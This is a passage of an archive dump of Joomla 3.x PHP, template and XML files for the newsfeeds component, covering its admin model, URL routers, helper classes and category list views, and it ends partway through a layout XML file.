			$form->setFieldAttribute('ordering', 'filter', 'unset');
			$form->setFieldAttribute('published', 'filter', 'unset');
			$form->setFieldAttribute('publish_up', 'filter', 'unset');
			$form->setFieldAttribute('publish_down', 'filter', 'unset');
		}

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data.
		$data = JFactory::getApplication()->getUserState('com_newsfeeds.edit.newsfeed.data', array());

		if (empty($data))
		{
			$data = $this->getItem();

			// Prime some default values.
			if ($this->getState('newsfeed.id') == 0)
			{
				$app = JFactory::getApplication();
				$data->set('catid', $app->input->get('catid', $app->getUserState('com_newsfeeds.newsfeeds.filter.category_id'), 'int'));
			}
		}

		$this->preprocessData('com_newsfeeds.newsfeed', $data);

		return $data;
	}

	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.0
	 */
	public function save($data)
	{
		$input = JFactory::getApplication()->input;

		JLoader::register('CategoriesHelper', JPATH_ADMINISTRATOR . '/components/com_categories/helpers/categories.php');

		// Create new category, if needed.
		$createCategory = true;

		// If category ID is provided, check if it's valid.
		if (is_numeric($data['catid']) && $data['catid'])
		{
			$createCategory = !CategoriesHelper::validateCategoryId($data['catid'], 'com_newsfeeds');
		}

		// Save New Category
		if ($createCategory && $this->canCreateCategory())
		{
			$table = array();

			// Remove #new# prefix, if exists.
			$table['title'] = strpos($data['catid'], '#new#') === 0 ? substr($data['catid'], 5) : $data['catid'];
			$table['parent_id'] = 1;
			$table['extension'] = 'com_newsfeeds';
			$table['language'] = $data['language'];
			$table['published'] = 1;

			// Create new category and get catid back
			$data['catid'] = CategoriesHelper::createCategory($table);
		}

		// Alter the name for save as copy
		if ($input->get('task') == 'save2copy')
		{
			$origTable = clone $this->getTable();
			$origTable->load($input->getInt('id'));

			if ($data['name'] == $origTable->name)
			{
				list($name, $alias) = $this->generateNewTitle($data['catid'], $data['alias'], $data['name']);
				$data['name'] = $name;
				$data['alias'] = $alias;
			}
			else
			{
				if ($data['alias'] == $origTable->alias)
				{
					$data['alias'] = '';
				}
			}

			$data['published'] = 0;
		}

		return parent::save($data);
	}

	/**
	 * Method to get a single record.
	 *
	 * @param   integer  $pk  The id of the primary key.
	 *
	 * @return  mixed  Object on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function getItem($pk = null)
	{
		if ($item = parent::getItem($pk))
		{
			// Convert the params field to an array.
			$registry = new Registry($item->metadata);
			$item->metadata = $registry->toArray();

			// Convert the images field to an array.
			$registry = new Registry($item->images);
			$item->images = $registry->toArray();
		}

		// Load associated newsfeeds items
		$app = JFactory::getApplication();
		$assoc = JLanguageAssociations::isEnabled();

		if ($assoc)
		{
			$item->associations = array();

			if ($item->id != null)
			{
				$associations = JLanguageAssociations::getAssociations('com_newsfeeds', '#__newsfeeds', 'com_newsfeeds.item', $item->id);

				foreach ($associations as $tag => $association)
				{
					$item->associations[$tag] = $association->id;
				}
			}
		}

		if (!empty($item->id))
		{
			$item->tags = new JHelperTags;
			$item->tags->getTagIds($item->id, 'com_newsfeeds.newsfeed');
			$item->metadata['tags'] = $item->tags;
		}

		return $item;
	}

	/**
	 * Prepare and sanitise the table prior to saving.
	 *
	 * @param   JTable  $table  The table object
	 *
	 * @return  void
	 */
	protected function prepareTable($table)
	{
		$date = JFactory::getDate();
		$user = JFactory::getUser();

		$table->name = htmlspecialchars_decode($table->name, ENT_QUOTES);
		$table->alias = JApplicationHelper::stringURLSafe($table->alias, $table->language);

		if (empty($table->alias))
		{
			$table->alias = JApplicationHelper::stringURLSafe($table->name, $table->language);
		}

		if (empty($table->id))
		{
			// Set the values
			$table->created = $date->toSql();

			// Set ordering to the last item if not set
			if (empty($table->ordering))
			{
				$db = $this->getDbo();
				$query = $db->getQuery(true)
					->select('MAX(ordering)')
					->from($db->quoteName('#__newsfeeds'));
				$db->setQuery($query);
				$max = $db->loadResult();

				$table->ordering = $max + 1;
			}
		}
		else
		{
			// Set the values
			$table->modified = $date->toSql();
			$table->modified_by = $user->get('id');
		}

		// Increment the content version number.
		$table->version++;
	}

	/**
	 * Method to change the published state of one or more records.
	 *
	 * @param   array    &$pks   A list of the primary keys to change.
	 * @param   integer  $value  The value of the published state.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function publish(&$pks, $value = 1)
	{
		$result = parent::publish($pks, $value);

		// Clean extra cache for newsfeeds
		$this->cleanCache('feed_parser');

		return $result;
	}

	/**
	 * A protected method to get a set of ordering conditions.
	 *
	 * @param   object  $table  A record object.
	 *
	 * @return  array  An array of conditions to add to add to ordering queries.
	 *
	 * @since   1.6
	 */
	protected function getReorderConditions($table)
	{
		$condition = array();
		$condition[] = 'catid = ' . (int) $table->catid;

		return $condition;
	}

	/**
	 * A protected method to get a set of ordering conditions.
	 *
	 * @param   JForm   $form   The form object.
	 * @param   array   $data   The data to be injected into the form
	 * @param   string  $group  The plugin group to process
	 *
	 * @return  array  An array of conditions to add to add to ordering queries.
	 *
	 * @since   1.6
	 */
	protected function preprocessForm(JForm $form, $data, $group = 'content')
	{
		if ($this->canCreateCategory())
		{
			$form->setFieldAttribute('catid', 'allowAdd', 'true');

			// Add a prefix for categories created on the fly.
			$form->setFieldAttribute('catid', 'customPrefix', '#new#');
		}

		// Association newsfeeds items
		if (JLanguageAssociations::isEnabled())
		{
			$languages = JLanguageHelper::getContentLanguages(false, true, null, 'ordering', 'asc');

			if (count($languages) > 1)
			{
				$addform = new SimpleXMLElement('<form />');
				$fields = $addform->addChild('fields');
				$fields->addAttribute('name', 'associations');
				$fieldset = $fields->addChild('fieldset');
				$fieldset->addAttribute('name', 'item_associations');

				foreach ($languages as $language)
				{
					$field = $fieldset->addChild('field');
					$field->addAttribute('name', $language->lang_code);
					$field->addAttribute('type', 'modal_newsfeed');
					$field->addAttribute('language', $language->lang_code);
					$field->addAttribute('label', $language->title);
					$field->addAttribute('translate_label', 'false');
					$field->addAttribute('select', 'true');
					$field->addAttribute('new', 'true');
					$field->addAttribute('edit', 'true');
					$field->addAttribute('clear', 'true');
					$field->addAttribute('propagate', 'true');
				}

				$form->load($addform, false);
			}
		}

		parent::preprocessForm($form, $data, $group);
	}

	/**
	 * Is the user allowed to create an on the fly category?
	 *
	 * @return  boolean
	 *
	 * @since   3.6.1
	 */
	private function canCreateCategory()
	{
		return JFactory::getUser()->authorise('core.create', 'com_newsfeeds');
	}

	/**
	 * Method to validate the form data.
	 *
	 * @param   JForm   $form   The form to validate against.
	 * @param   array   $data   The data to validate.
	 * @param   string  $group  The name of the field group to validate.
	 *
	 * @return  array|boolean  Array of filtered data if valid, false otherwise.
	 *
	 * @see     JFormRule
	 * @see     JFilterInput
	 * @since   3.9.25
	 */
	public function validate($form, $data, $group = null)
	{
		// Don't allow to change the users if not allowed to access com_users.
		if (!JFactory::getUser()->authorise('core.manage', 'com_users'))
		{
			if (isset($data['created_by']))
			{
				unset($data['created_by']);
			}
		}

		return parent::validate($form, $data, $group);
	}
}
com_newsfeeds/router.php000060400000013576152453734460011443 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Routing class from com_newsfeeds
 *
 * @since  3.3
 */
class NewsfeedsRouter extends JComponentRouterView
{
	protected $noIDs = false;

	/**
	 * Newsfeeds Component router constructor
	 *
	 * @param   JApplicationCms  $app   The application object
	 * @param   JMenu            $menu  The menu object to work with
	 */
	public function __construct($app = null, $menu = null)
	{
		$params = JComponentHelper::getParams('com_newsfeeds');
		$this->noIDs = (bool) $params->get('sef_ids');
		$categories = new JComponentRouterViewconfiguration('categories');
		$categories->setKey('id');
		$this->registerView($categories);
		$category = new JComponentRouterViewconfiguration('category');
		$category->setKey('id')->setParent($categories, 'catid')->setNestable();
		$this->registerView($category);
		$newsfeed = new JComponentRouterViewconfiguration('newsfeed');
		$newsfeed->setKey('id')->setParent($category, 'catid');
		$this->registerView($newsfeed);

		parent::__construct($app, $menu);

		$this->attachRule(new JComponentRouterRulesMenu($this));

		if ($params->get('sef_advanced', 0))
		{
			$this->attachRule(new JComponentRouterRulesStandard($this));
			$this->attachRule(new JComponentRouterRulesNomenu($this));
		}
		else
		{
			JLoader::register('NewsfeedsRouterRulesLegacy', __DIR__ . '/helpers/legacyrouter.php');
			$this->attachRule(new NewsfeedsRouterRulesLegacy($this));
		}
	}

	/**
	 * Method to get the segment(s) for a category
	 *
	 * @param   string  $id     ID of the category to retrieve the segments for
	 * @param   array   $query  The request that is built right now
	 *
	 * @return  array|string  The segments of this item
	 */
	public function getCategorySegment($id, $query)
	{
		$category = JCategories::getInstance($this->getName())->get($id);

		if ($category)
		{
			$path = array_reverse($category->getPath(), true);
			$path[0] = '1:root';

			if ($this->noIDs)
			{
				foreach ($path as &$segment)
				{
					list($id, $segment) = explode(':', $segment, 2);
				}
			}

			return $path;
		}

		return array();
	}

	/**
	 * Method to get the segment(s) for a category
	 *
	 * @param   string  $id     ID of the category to retrieve the segments for
	 * @param   array   $query  The request that is built right now
	 *
	 * @return  array|string  The segments of this item
	 */
	public function getCategoriesSegment($id, $query)
	{
		return $this->getCategorySegment($id, $query);
	}

	/**
	 * Method to get the segment(s) for a newsfeed
	 *
	 * @param   string  $id     ID of the newsfeed to retrieve the segments for
	 * @param   array   $query  The request that is built right now
	 *
	 * @return  array|string  The segments of this item
	 */
	public function getNewsfeedSegment($id, $query)
	{
		if (!strpos($id, ':'))
		{
			$db = JFactory::getDbo();
			$dbquery = $db->getQuery(true);
			$dbquery->select($dbquery->qn('alias'))
				->from($dbquery->qn('#__newsfeeds'))
				->where('id = ' . $dbquery->q((int) $id));
			$db->setQuery($dbquery);

			$id .= ':' . $db->loadResult();
		}

		if ($this->noIDs)
		{
			list($void, $segment) = explode(':', $id, 2);

			return array($void => $segment);
		}

		return array((int) $id => $id);
	}

	/**
	 * Method to get the id for a category
	 *
	 * @param   string  $segment  Segment to retrieve the ID for
	 * @param   array   $query    The request that is parsed right now
	 *
	 * @return  mixed   The id of this item or false
	 */
	public function getCategoryId($segment, $query)
	{
		if (isset($query['id']))
		{
			$category = JCategories::getInstance($this->getName(), array('access' => false))->get($query['id']);

			if ($category)
			{
				foreach ($category->getChildren() as $child)
				{
					if ($this->noIDs)
					{
						if ($child->alias === $segment)
						{
							return $child->id;
						}
					}
					else
					{
						if ($child->id == (int) $segment)
						{
							return $child->id;
						}
					}
				}
			}
		}

		return false;
	}

	/**
	 * Method to get the segment(s) for a category
	 *
	 * @param   string  $segment  Segment to retrieve the ID for
	 * @param   array   $query    The request that is parsed right now
	 *
	 * @return  mixed   The id of this item or false
	 */
	public function getCategoriesId($segment, $query)
	{
		return $this->getCategoryId($segment, $query);
	}

	/**
	 * Method to get the segment(s) for a newsfeed
	 *
	 * @param   string  $segment  Segment of the newsfeed to retrieve the ID for
	 * @param   array   $query    The request that is parsed right now
	 *
	 * @return  mixed   The id of this item or false
	 */
	public function getNewsfeedId($segment, $query)
	{
		if ($this->noIDs)
		{
			$db = JFactory::getDbo();
			$dbquery = $db->getQuery(true);
			$dbquery->select($dbquery->qn('id'))
				->from($dbquery->qn('#__newsfeeds'))
				->where('alias = ' . $dbquery->q($segment))
				->where('catid = ' . $dbquery->q($query['id']));
			$db->setQuery($dbquery);

			return (int) $db->loadResult();
		}

		return (int) $segment;
	}
}

/**
 * newsfeedsBuildRoute
 *
 * These functions are proxys for the new router interface
 * for old SEF extensions.
 *
 * @param   array  &$query  The segments of the URL to parse.
 *
 * @return array
 *
 * @deprecated  4.0  Use Class based routers instead
 */
function newsfeedsBuildRoute(&$query)
{
	$app = JFactory::getApplication();
	$router = new NewsfeedsRouter($app, $app->getMenu());

	return $router->build($query);
}

/**
 * newsfeedsParseRoute
 *
 * @param   array  $segments  The segments of the URL to parse.
 *
 * @return array
 *
 * @deprecated  4.0  Use Class based routers instead
 */
function newsfeedsParseRoute($segments)
{
	$app = JFactory::getApplication();
	$router = new NewsfeedsRouter($app, $app->getMenu());

	return $router->parse($segments);
}
com_newsfeeds/helpers/legacyrouter.php000060400000013324152453734460014261 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Legacy routing rules class from com_newsfeeds
 *
 * @since       3.6
 * @deprecated  4.0
 */
class NewsfeedsRouterRulesLegacy implements JComponentRouterRulesInterface
{
	/**
	 * Constructor for this legacy router
	 *
	 * @param   JComponentRouterAdvanced  $router  The router this rule belongs to
	 *
	 * @since       3.6
	 * @deprecated  4.0
	 */
	public function __construct($router)
	{
		$this->router = $router;
	}

	/**
	 * Preprocess the route for the com_newsfeeds component
	 *
	 * @param   array  &$query  An array of URL arguments
	 *
	 * @return  void
	 *
	 * @since       3.6
	 * @deprecated  4.0
	 */
	public function preprocess(&$query)
	{
	}

	/**
	 * Build the route for the com_newsfeeds component
	 *
	 * @param   array  &$query     An array of URL arguments
	 * @param   array  &$segments  The URL arguments to use to assemble the subsequent URL.
	 *
	 * @return  void
	 *
	 * @since       3.6
	 * @deprecated  4.0
	 */
	public function build(&$query, &$segments)
	{
		// Get a menu item based on Itemid or currently active
		$params = JComponentHelper::getParams('com_newsfeeds');
		$advanced = $params->get('sef_advanced_link', 0);

		if (empty($query['Itemid']))
		{
			$menuItem = $this->router->menu->getActive();
		}
		else
		{
			$menuItem = $this->router->menu->getItem($query['Itemid']);
		}

		$mView = empty($menuItem->query['view']) ? null : $menuItem->query['view'];
		$mId   = empty($menuItem->query['id']) ? null : $menuItem->query['id'];

		if (isset($query['view']))
		{
			$view = $query['view'];

			if (empty($menuItem) || $menuItem->component !== 'com_newsfeeds' || empty($query['Itemid']))
			{
				$segments[] = $query['view'];
			}

			unset($query['view']);
		}

		// Are we dealing with a newsfeed that is attached to a menu item?
		if (isset($query['view'], $query['id']) && $mView == $query['view'] && $mId == (int) $query['id'])
		{
			unset($query['view'], $query['catid'], $query['id']);

			return;
		}

		if (isset($view) && ($view === 'category' || $view === 'newsfeed'))
		{
			if ($mId != (int) $query['id'] || $mView != $view)
			{
				if ($view === 'newsfeed' && isset($query['catid']))
				{
					$catid = $query['catid'];
				}
				elseif (isset($query['id']))
				{
					$catid = $query['id'];
				}

				$menuCatid = $mId;
				$categories = JCategories::getInstance('Newsfeeds');
				$category = $categories->get($catid);

				if ($category)
				{
					$path = $category->getPath();
					$path = array_reverse($path);

					$array = array();

					foreach ($path as $id)
					{
						if ((int) $id === (int) $menuCatid)
						{
							break;
						}

						if ($advanced)
						{
							list($tmp, $id) = explode(':', $id, 2);
						}

						$array[] = $id;
					}

					$segments = array_merge($segments, array_reverse($array));
				}

				if ($view === 'newsfeed')
				{
					if ($advanced)
					{
						list($tmp, $id) = explode(':', $query['id'], 2);
					}
					else
					{
						$id = $query['id'];
					}

					$segments[] = $id;
				}
			}

			unset($query['id'], $query['catid']);
		}

		if (isset($query['layout']))
		{
			if (!empty($query['Itemid']) && isset($menuItem->query['layout']))
			{
				if ($query['layout'] == $menuItem->query['layout'])
				{
					unset($query['layout']);
				}
			}
			else
			{
				if ($query['layout'] === 'default')
				{
					unset($query['layout']);
				}
			}
		}

		$total = count($segments);

		for ($i = 0; $i < $total; $i++)
		{
			$segments[$i] = str_replace(':', '-', $segments[$i]);
		}
	}

	/**
	 * Parse the segments of a URL.
	 *
	 * @param   array  &$segments  The segments of the URL to parse.
	 * @param   array  &$vars      The URL attributes to be used by the application.
	 *
	 * @return  void
	 *
	 * @since       3.6
	 * @deprecated  4.0
	 */
	public function parse(&$segments, &$vars)
	{
		$total = count($segments);

		for ($i = 0; $i < $total; $i++)
		{
			$segments[$i] = preg_replace('/-/', ':', $segments[$i], 1);
		}

		// Get the active menu item.
		$item	= $this->router->menu->getActive();
		$params = JComponentHelper::getParams('com_newsfeeds');
		$advanced = $params->get('sef_advanced_link', 0);

		// Count route segments
		$count = count($segments);

		// Standard routing for newsfeeds.
		if (!isset($item))
		{
			$vars['view'] = $segments[0];
			$vars['id']   = $segments[$count - 1];

			return;
		}

		// From the categories view, we can only jump to a category.
		$id = (isset($item->query['id']) && $item->query['id'] > 1) ? $item->query['id'] : 'root';
		$categories = JCategories::getInstance('Newsfeeds')->get($id)->getChildren();
		$vars['catid'] = $id;
		$vars['id'] = $id;
		$found = 0;

		foreach ($segments as $segment)
		{
			$segment = $advanced ? str_replace(':', '-', $segment) : $segment;

			foreach ($categories as $category)
			{
				if ($category->slug == $segment || $category->alias == $segment)
				{
					$vars['id'] = $category->id;
					$vars['catid'] = $category->id;
					$vars['view'] = 'category';
					$categories = $category->getChildren();
					$found = 1;
					break;
				}
			}

			if ($found == 0)
			{
				if ($advanced)
				{
					$db = JFactory::getDbo();
					$query = $db->getQuery(true)
						->select($db->quoteName('id'))
						->from('#__newsfeeds')
						->where($db->quoteName('catid') . ' = ' . (int) $vars['catid'])
						->where($db->quoteName('alias') . ' = ' . $db->quote($segment));
					$db->setQuery($query);
					$nid = $db->loadResult();
				}
				else
				{
					$nid = $segment;
				}

				$vars['id'] = $nid;
				$vars['view'] = 'newsfeed';
			}

			$found = 0;
		}
	}
}
com_newsfeeds/helpers/category.php000060400000001206152453734460013365 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Content Component Category Tree
 *
 * @since  1.6
 */
class NewsfeedsCategories extends JCategories
{
	/**
	 * Constructor
	 *
	 * @param   array  $options  options
	 */
	public function __construct($options = array())
	{
		$options['table'] = '#__newsfeeds';
		$options['extension'] = 'com_newsfeeds';
		$options['statefield'] = 'published';
		parent::__construct($options);
	}
}
com_newsfeeds/helpers/association.php000060400000003322152453734460014065 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('NewsfeedsHelper', JPATH_ADMINISTRATOR . '/components/com_newsfeeds/helpers/newsfeeds.php');
JLoader::register('NewsfeedsHelperRoute', JPATH_SITE . '/components/com_newsfeeds/helpers/route.php');
JLoader::register('CategoryHelperAssociation', JPATH_ADMINISTRATOR . '/components/com_categories/helpers/association.php');

/**
 * Newsfeeds Component Association Helper
 *
 * @since  3.0
 */
abstract class NewsfeedsHelperAssociation extends CategoryHelperAssociation
{
	/**
	 * Method to get the associations for a given item
	 *
	 * @param   integer  $id    Id of the item
	 * @param   string   $view  Name of the view
	 *
	 * @return  array   Array of associations for the item
	 *
	 * @since  3.0
	 */
	public static function getAssociations($id = 0, $view = null)
	{
		$jinput = JFactory::getApplication()->input;
		$view   = $view === null ? $jinput->get('view') : $view;
		$id     = empty($id) ? $jinput->getInt('id') : $id;

		if ($view === 'newsfeed')
		{
			if ($id)
			{
				$associations = JLanguageAssociations::getAssociations('com_newsfeeds', '#__newsfeeds', 'com_newsfeeds.item', $id);

				$return = array();

				foreach ($associations as $tag => $item)
				{
					$return[$tag] = NewsfeedsHelperRoute::getNewsfeedRoute($item->id, (int) $item->catid, $item->language);
				}

				return $return;
			}
		}

		if ($view === 'category' || $view === 'categories')
		{
			return self::getCategoryAssociations($id, 'com_newsfeeds');
		}

		return array();
	}
}
com_newsfeeds/helpers/route.php000060400000002730152453734460012711 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Newsfeeds Component Route Helper
 *
 * @since  1.5
 */
abstract class NewsfeedsHelperRoute
{
	/**
	 * getNewsfeedRoute
	 *
	 * @param   int  $id        menu itemid
	 * @param   int  $catid     category id
	 * @param   int  $language  language
	 *
	 * @return string
	 */
	public static function getNewsfeedRoute($id, $catid, $language = 0)
	{
		// Create the link
		$link = 'index.php?option=com_newsfeeds&view=newsfeed&id=' . $id;

		if ((int) $catid > 1)
		{
			$link .= '&catid=' . $catid;
		}

		if ($language && $language !== '*' && JLanguageMultilang::isEnabled())
		{
			$link .= '&lang=' . $language;
		}

		return $link;
	}

	/**
	 * getCategoryRoute
	 *
	 * @param   int  $catid     category id
	 * @param   int  $language  language
	 *
	 * @return string
	 */
	public static function getCategoryRoute($catid, $language = 0)
	{
		if ($catid instanceof JCategoryNode)
		{
			$id = $catid->id;
		}
		else
		{
			$id = (int) $catid;
		}

		if ($id < 1)
		{
			$link = '';
		}
		else
		{
			// Create the link
			$link = 'index.php?option=com_newsfeeds&view=category&id=' . $id;

			if ($language && $language !== '*' && JLanguageMultilang::isEnabled())
			{
				$link .= '&lang=' . $language;
			}
		}

		return $link;
	}
}
com_newsfeeds/views/categories/tmpl/default_items.php000060400000005007152453734460017174 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip');

?>
<?php $class = ' class="first"'; ?>
<?php if ($this->maxLevelcat != 0 && count($this->items[$this->parent->id]) > 0) : ?>
	<?php foreach ($this->items[$this->parent->id] as $id => $item) : ?>
		<?php if ($this->params->get('show_empty_categories_cat') || $item->numitems || count($item->getChildren())) : ?>
			<?php if (!isset($this->items[$this->parent->id][$id + 1])) : ?>
				<?php $class = ' class="last"'; ?>
			<?php endif; ?>
			<div<?php echo $class; ?>>
				<?php $class = ''; ?>
				<h3 class="page-header item-title">
					<a href="<?php echo JRoute::_(NewsfeedsHelperRoute::getCategoryRoute($item->id, $item->language)); ?>">
						<?php echo $this->escape($item->title); ?>
					</a>
					<?php if ($this->params->get('show_cat_items_cat') == 1) : ?>
						<span class="badge badge-info tip hasTooltip" title="<?php echo JHtml::_('tooltipText', 'COM_NEWSFEEDS_NUM_ITEMS'); ?>">
							<?php echo JText::_('COM_NEWSFEEDS_NUM_ITEMS'); ?>&nbsp;
							<?php echo $item->numitems; ?>
						</span>
					<?php endif; ?>
					<?php if (count($item->getChildren()) > 0 && $this->maxLevelcat > 1) : ?>
						<a id="category-btn-<?php echo $item->id; ?>" href="#category-<?php echo $item->id; ?>"
							data-toggle="collapse" data-toggle="button" class="btn btn-mini pull-right" aria-label="<?php echo JText::_('JGLOBAL_EXPAND_CATEGORIES'); ?>">
							<span class="icon-plus" aria-hidden="true"></span>
						</a>
					<?php endif; ?>
				</h3>
				<?php if ($this->params->get('show_subcat_desc_cat') == 1) : ?>
					<?php if ($item->description) : ?>
						<div class="category-desc">
							<?php echo JHtml::_('content.prepare', $item->description, '', 'com_newsfeeds.categories'); ?>
						</div>
					<?php endif; ?>
				<?php endif; ?>
				<?php if (count($item->getChildren()) > 0 && $this->maxLevelcat > 1) : ?>
					<div class="collapse fade" id="category-<?php echo $item->id; ?>">
						<?php $this->items[$item->id] = $item->getChildren(); ?>
						<?php $this->parent = $item; ?>
						<?php $this->maxLevelcat--; ?>
						<?php echo $this->loadTemplate('items'); ?>
						<?php $this->parent = $item->getParent(); ?>
						<?php $this->maxLevelcat++; ?>
					</div>
				<?php endif; ?>
			</div>
		<?php endif; ?>
	<?php endforeach; ?>
<?php endif; ?>
com_newsfeeds/views/categories/tmpl/default.php000060400000002370152453734460015773 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers');
JHtml::_('behavior.caption');
JHtml::_('behavior.core');

// Add strings for translations in Javascript.
JText::script('JGLOBAL_EXPAND_CATEGORIES');
JText::script('JGLOBAL_COLLAPSE_CATEGORIES');

JFactory::getDocument()->addScriptDeclaration("
jQuery(function($) {
	$('.categories-list').find('[id^=category-btn-]').each(function(index, btn) {
		var btn = $(btn);
		btn.on('click', function() {
			btn.find('span').toggleClass('icon-plus');
			btn.find('span').toggleClass('icon-minus');
			if (btn.attr('aria-label') === Joomla.JText._('JGLOBAL_EXPAND_CATEGORIES'))
			{
				btn.attr('aria-label', Joomla.JText._('JGLOBAL_COLLAPSE_CATEGORIES'));
			} else {
				btn.attr('aria-label', Joomla.JText._('JGLOBAL_EXPAND_CATEGORIES'));
			}			
		});
	});
});");

?>
<div class="categories-list<?php echo $this->pageclass_sfx; ?>">
	<?php echo JLayoutHelper::render('joomla.content.categories_default', $this); ?>
	<?php echo $this->loadTemplate('items'); ?>
</div>
com_newsfeeds/views/categories/tmpl/default.xml000060400000021133152453734460016002 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_NEWSFEEDS_CATEGORIES_VIEW_DEFAULT_TITLE" option="COM_NEWSFEEDS_CATEGORIES_VIEW_DEFAULT_OPTION">
		<help
			key = "JHELP_MENUS_MENU_ITEM_NEWSFEED_CATEGORIES"
		/>
		<message>
			<![CDATA[COM_NEWSFEEDS_CATEGORIES_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request"
		>
			<field 
				name="id" 
				type="category"
				label="JGLOBAL_FIELD_CATEGORIES_CHOOSE_CATEGORY_LABEL"
				description="JGLOBAL_FIELD_CATEGORIES_CHOOSE_CATEGORY_DESC"
				extension="com_newsfeeds"
				show_root="true"
				required="true"
			/>
		</fieldset>
	</fields>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">
		<fieldset name="basic" label="JGLOBAL_CATEGORIES_OPTIONS">
			<field 
				name="show_base_description" 
				type="list"
				label="JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_LABEL"
				description="JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="categories_description" 
				type="textarea"
				label="JGLOBAL_FIELD_CATEGORIES_DESC_LABEL"
				description="JGLOBAL_FIELD_CATEGORIES_DESC_DESC"
				cols="25"
				rows="5"
			/>

			<field 
				name="maxLevelcat" 
				type="list"
				label="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL"
				description="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_DESC"
				useglobal="true"
				>
				<option value="-1">JALL</option>
				<option value="1">J1</option>
				<option value="2">J2</option>
				<option value="3">J3</option>
				<option value="4">J4</option>
				<option value="5">J5</option>
			</field>

			<field 
				name="show_empty_categories_cat" 
				type="list"
				label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL"
				description="COM_NEWSFEEDS_SHOW_EMPTY_CATEGORIES_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_subcat_desc_cat" 
				type="list"
				label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL"
				description="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_cat_items_cat" 
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_CAT_ITEMS_LABEL"
				description="COM_NEWSFEEDS_FIELD_SHOW_CAT_ITEMS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
		</fieldset>

		<fieldset name="category" label="JGLOBAL_CATEGORY_OPTIONS">
			<field 
				name="spacer2" 
				type="spacer" 
				label="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL"
				class="text"
			/>

			<field 
				name="show_category_title" 
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_TITLE"
				description="JGLOBAL_SHOW_CATEGORY_TITLE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_description" 
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_LABEL"
				description="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_description_image" 
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_IMAGE_LABEL"
				description="JGLOBAL_SHOW_CATEGORY_IMAGE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="maxLevel" 
				type="list"
				description="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_DESC"
				label="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL"
				useglobal="true"
				>
				<option value="-1">JALL</option>
				<option value="0">JNONE</option>
				<option value="1">J1</option>
				<option value="2">J2</option>
				<option value="3">J3</option>
				<option value="4">J4</option>
				<option value="5">J5</option>
			</field>

			<field 
